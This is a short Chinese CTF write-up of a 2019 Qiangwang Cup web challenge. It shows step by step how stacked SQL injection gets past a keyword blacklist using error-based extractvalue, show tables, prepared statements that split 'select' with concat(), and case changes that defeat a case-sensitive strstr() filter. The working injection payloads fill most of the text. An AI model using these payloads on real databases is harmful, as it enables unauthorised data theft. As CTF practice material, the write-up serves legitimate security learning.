0x00 前言
2019年强网杯一道堆叠注入+预编译绕过的题目,记录下来学习。
0x01 Writeup
传参
inject=1'
报错
添加注释,返回正常
order by探测字段数为2
存在过滤检测:
inject=1' unioin select 1,2--+q
没有过滤extractvalue(),试试报错注入
inject=1' and extractvalue(1,(concat(0x7e,(database()))))--+q
虽然知道了表名,但是select无法绕过,不能继续
尝试堆叠注入
inject=0';show tables--+q
有两个表,分别是 1919810931114514 和 words
inject=0';show columns from words--+q
inject=0';show columns from `1919810931114514`--+q
这个表名要加反引号
找到flag字段
获取flag
inject=0';select * from `1919810931114514`--+q
而这里需要预编译结合concat()绕过select
预编译:
set 设置变量名和值
prepare 预备一个语句,并赋予名称,以后可以引用该语句
execute 执行语句
deallocate prepare 释放掉预处理的语句
将上式拆开:
concat('sel','ect * from `1919810931114514`--+q')
完整预编译:
inject=0';
set @sql = concat('sel','ect * from `1919810931114514`--+q');//设置变量名和值
prepare sqli from @sql; //预备一个语句,方便调用
execute sqli; //执行预备语句
--+
//最后的释放省略
输入
inject=0';set @sql = concat('se','lect * from `1919810931114514`;');prepare sqli from @sql;execute sqli;--+q
看到 set 、 prepare在黑名单 $inject中,并且使用strstr()进行比较
strstr()大小写敏感,可以大小写绕过
最终:
inject=0';Set @sql = concat('se','lect * from `1919810931114514`;');Prepare sqli from @sql;execute sqli;--+q